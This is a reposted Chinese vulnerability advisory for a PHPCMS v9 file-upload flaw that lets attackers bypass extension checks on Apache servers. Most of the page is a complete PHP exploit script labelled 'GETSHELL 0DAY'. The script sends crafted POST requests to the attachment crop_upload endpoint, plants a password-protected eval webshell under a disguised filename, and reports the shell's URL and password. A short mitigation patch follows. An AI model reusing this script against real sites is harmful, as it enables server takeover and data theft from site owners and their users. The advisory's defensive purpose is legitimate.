Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / PHPCMS v9 文件后缀提取错误代码上传漏洞

发布日期:2013-03-07
更新日期:2013-03-08受影响系统:
PHPCMS Phpcms 9
描述:
--------------------------------------------------------------------------------
PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
 
PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件phpcmslibsfunctionsglobal.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。
 
<*来源:n3wF
 
 链接:http://www.wooyun.org/bugs/wooyun-2013-019299
       http://www.jiasule.com/news/5135a60075db5c6ac700000a/
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
n3wF ()提供了如下测试方法:
 <?php
 error_reporting(E_ERROR);
 set_time_limit(0);
 $pass="ln";
 print_r("
 +---------------------------------------------------------------------------+
 PHPCms V9 GETSHELL 0DAYcode by L.N.
 
apache 适用(利用的apache的解析漏洞)
 +---------------------------------------------------------------------------+
 ");
 if ($argc < 2) {
 print_r("
 +---------------------------------------------------------------------------+
 Usage: php ".$argv[0]." url path
 
Example:
    1.php ".$argv[0]." lanu.sinaapp.com
   2.php ".$argv[0]." lanu.sinaapp.com /phpcms
 +---------------------------------------------------------------------------+
 ");
 exit;
 }
 
$url = $argv[1];
 $path = $argv[2];
 $phpshell = "<?php @eval($_POST["".$pass.""]);?>";
 $file = "1.thumb_.Php.JPG%20%20%20%20%20%20%20Php";
 if($ret=Create_dir($url,$path))
 {
   //echo $ret;
   $pattern = "|Server:[^,]+?|U";
   preg_match_all($pattern, $ret, $matches);
   if($matches[0][0])
   {
       if(strpos($matches[0][0],"Apache") == false)
       {
           echo " 亲!此网站不是apache的网站。 ";exit;
       }
   }
   $ret = GetShell($url,$phpshell,$path,$file);
   $pattern = "|http://[^,]+?.,?|U";
   preg_match_all($pattern, $ret, $matches);
   if($matches[0][0])
   {
       echo " "."密码为: ".$pass." ";
       echo " url地址: ".$matches[0][0]."JPG%20%20%20%20%20%20%20Php"." ";exit;
   }
   else
   {   
       $pattern = "|/uploadfile/[^,]+?.,?|U";
       preg_match_all($pattern, $ret, $matches);
       if($matches[0][0])
       {
           echo " "."密码为: ".$pass." ";
           echo " url地址:"."http://".$url.$path.$matches[0][0]."JPG%20%20%20%20%20%20%20Php"." ";exit;
       }
       else
       {
           echo " 没得到! ";exit;
       }       
   }
 }
 
function GetShell($url,$shell,$path,$js)
 {
   $content =$shell;
   $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1 ";
    $data .= "Host: ".$url." ";
   $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 ";
   $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 ";
   $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 ";
   $data .= "Connection: close ";
   $data .= "Content-Length: ".strlen($content)." ";
   $data .= $content." ";
   $ock=fsockopen($url,80);
   if (!$ock)
    {
       echo " "."此网站没有回应,检测url是否输入正确"." ";exit;
   }
   else
   {
       fwrite($ock,$data);
       $resp = "";
       while (!feof($ock))
        {
           $resp.=fread($ock, 1024);
       }
       return $resp;
   }
 }
 
function Create_dir($url,$path="")
 {
   $content ="I love you";
   $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1 ";
    $data .= "Host: ".$url." ";
   $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 ";
   $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 ";
   $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 ";
   $data .= "Connection: close ";
   $data .= "Content-Length: ".strlen($content)." ";
   $data .= $content." ";
   $ock=fsockopen($url,80);
   if (!$ock)
    {
       echo " "."此网站没有回应,检测url是否输入正确"." ";exit;
   }
   fwrite($ock,$data);
   $resp = "";
   while (!feof($ock))
    {
       $resp.=fread($ock, 1024);
   }
   return $resp;
 }
 ?>建议:
--------------------------------------------------------------------------------
临时解决方法:
 
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
 
*可以暂时将文件phpcmsmodulesattachmentattachments.php的第104行改为:
 
if(is_image($_GET["file"])== false || strpos(strtolower($_GET["file"]),".php")!==false) exit();
 
厂商补丁:
 
PHPCMS
 ------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.phpcms.cn/Apache Qpid qpid::framing::Buffer::checkAvailable()拒绝服务漏洞(CVE-2012-4459)Zend Framework多个远程任意文件访问漏洞(CVE-2012-6531)相关资讯      PHPCMS安全漏洞 
  • PHPCMS V9版poster_click函数SQL注  (12/20/2012 08:26:35)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款